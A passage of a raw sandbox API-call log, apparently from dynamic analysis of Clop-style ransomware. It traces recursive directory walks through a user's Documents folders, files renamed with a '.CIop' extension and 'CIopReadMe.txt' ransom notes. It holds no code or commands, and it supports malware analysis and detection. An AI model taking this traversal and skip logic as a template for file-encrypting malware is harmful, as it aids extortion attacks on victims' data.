(in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.930] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.930] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.930] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.930] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.930] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.930] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2="..") returned 1 [0158.930] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2=".") returned 1 [0158.930] lstrlenW (lpString=".CIop") returned 5 [0158.930] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.930] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2="..") returned 1 [0158.930] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2=".") returned 1 [0158.930] lstrlenW (lpString=".CIop") returned 5 [0158.930] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.930] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.930] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.931] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0158.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0158.931] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0158.931] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0158.931] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0158.931] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.931] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.931] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.931] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.931] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.931] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.931] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0158.931] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0158.931] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.931] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.931] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.931] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0158.931] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0158.931] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0158.931] SetErrorMode (uMode=0x1) returned 0x1 [0158.931] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0158.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0158.932] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0158.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0158.932] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.932] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0158.932] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.932] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.932] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.932] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.932] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2="..") returned 1 [0158.932] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2=".") returned 1 [0158.932] lstrlenW (lpString=".CIop") returned 5 [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.932] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.932] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.932] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0158.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0158.932] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.932] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0158.932] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.932] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.932] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.933] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.933] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0158.933] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0158.933] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0158.933] SetErrorMode (uMode=0x1) returned 0x1 [0158.933] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0158.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0158.933] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0158.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0158.933] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.933] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0158.933] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0158.933] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.933] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.933] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.933] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.933] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.933] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.933] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2="..") returned 1 [0158.933] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2=".") returned 1 [0158.933] lstrlenW (lpString=".CIop") returned 5 [0158.933] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.933] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.933] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.933] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.933] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0158.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0158.934] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.934] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0158.934] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0158.934] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.934] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.934] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.934] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0158.934] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0158.934] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0158.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0158.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.934] SetErrorMode (uMode=0x1) returned 0x1 [0158.934] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.934] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0158.934] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0158.934] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0158.934] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.934] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.934] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0158.934] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0158.934] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0158.935] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0158.935] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0158.935] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0158.935] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.935] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.935] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.935] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0158.935] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0158.935] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0158.935] SetErrorMode (uMode=0x1) returned 0x1 [0158.935] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0158.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0158.935] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0158.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0158.935] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0158.935] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0158.935] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2="..") returned 1 [0158.935] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2=".") returned 1 [0158.935] lstrlenW (lpString=".CIop") returned 5 [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.935] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.935] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2="..") returned 1 [0158.935] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2=".") returned 1 [0158.935] lstrlenW (lpString=".CIop") returned 5 [0158.935] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.935] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2="..") returned 1 [0158.935] lstrcmpW 